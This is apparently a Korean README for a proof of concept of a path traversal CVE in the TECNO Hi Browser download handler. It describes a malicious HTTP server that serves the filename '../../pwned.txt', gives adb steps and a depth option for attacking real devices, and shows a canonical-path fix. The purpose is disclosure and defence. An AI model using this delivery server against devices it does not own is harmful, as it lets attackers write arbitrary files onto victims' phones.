
TECNO Hi Browser 다운로드 핸들러에서 발견된 CVE-2026-18907 경로 탐색(path traversal) 취약점을 위한 Python PoC입니다. 수정 사항을 시연하기 위해 악성 HTTP 서버와 단순한 다운로더를 포함합니다.
CVE-2026-18907(CVSS 7.5 High, CWE-23)에 대한 개념 증명(PoC)으로, TECNO Hi Browser(com.talpa.hibrowser) 버전 2.23.1.1의 다운로드 파일 기능에 존재하는 상대 경로 탐색 취약점입니다. 이 브라우저는 공격자가 제어하는 Content-Disposition 파일명을 신뢰하여, 경로 구분자를 정화하거나 결과의 정규 경로를 검사하지 않고 다운로드 디렉터리에 그대로 결합했습니다. 그 결과 파일명의 ../ 시퀀스로 인해 응답 본문이 Download/ 밖, 브라우저의 저장소 권한이 허용하는 모든 경로에 기록될 수 있었습니다.
이 PoC에는 독점(proprietary)
com.talpa.hibrowserAPK가 포함되어 있지 않습니다. 이 PoC는 (a) 정확한 악성 HTTP 전달(delivery) 방식과 (b) 버그의 근본 원인 클래스(응답 파일명을 경로 구성 요소로 신뢰하는 다운로더)를 보여줍니다. CVE-2026-18907이 설명하는 원시 결함(primitive)도 바로 이것입니다.
| 파일 | 용도 |
|---|---|
evil_server.py | 악성 HTTP 서버. Content-Disposition 파일명에 ../가 포함된 응답 하나를 제공합니다. 이것이 전달(delivery) 부분입니다. |
naive_downloader.py | 취약한 join(dir, filename) 패턴을 재현하는 최소 다운로더로, 수정된(basename + 정규 경로 포함 검사) 버전과 함께 제공되어 한 번의 실행으로 이스케이프(escape)를 확인할 수 있습니다. |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
취약한 결합은 /tmp/demo/Download/../../pwned.txt를 만들었고, 운영체제가 ..를 해석하여 파일은 다운로드 디렉터리 밖인 **/tmp/pwned.txt**에 실제로 생성되었습니다. 수정된 경로는 먼저 os.path.basename()을 적용했습니다(../는 경로 정보이므로 버려지고 pwned.txt만 남습니다). 그런 다음 정규 경로가 다운로드 디렉터리 내부에 유지되는지 확인했습니다.
테스트 기기에서 접근 가능한 호스트에서 evil_server.py를 실행한 다음, 취약한 브라우저로 http://<host>:8000/에 접속하세요. attachment 다운로드를 자동으로 시작하고 파일명을 정화하지 않는 브라우저에서는 파일이 ../ 체인으로 해석된 경로에 기록됩니다. adb로 포함 검사 실패를 확인합니다:
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
--depth로 기기에 맞게 상승 깊이를 조정하고(기본값 2는 /sdcard/Download/를 벗어나 /sdcard/에 도달합니다. 더 높이 올라가려면 값을 늘리세요), --target으로 도착 파일명(basename)을 설정하세요.
모든 다운로드 관리자에서 CWE-23 계열 전체는 다음 두 가지 습관을 함께 적용하면 해결됩니다:
/까지 포함해 모두 제거합니다.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
../를 블랙리스트 처리하지 마십시오 — 탐색과 동등한 인코딩의 집합은 무한합니다. 정규화한 뒤 비교하세요. 그 알고리즘은 닫혀 있습니다(완전합니다).
통제할 수 있는 네트워크에서만 서버를 실행하고, 본인이 소유한 기기에서만 테스트하세요. 경로 탐색 쓰기는 정의상 파일 쓰기 원시 연산(file-write primitive)입니다. 덮어써도 무방한 대상에만 사용하세요.
MIT — 자세한 표기(attribution)와 1차 출처는 관련 문서를 참조하세요.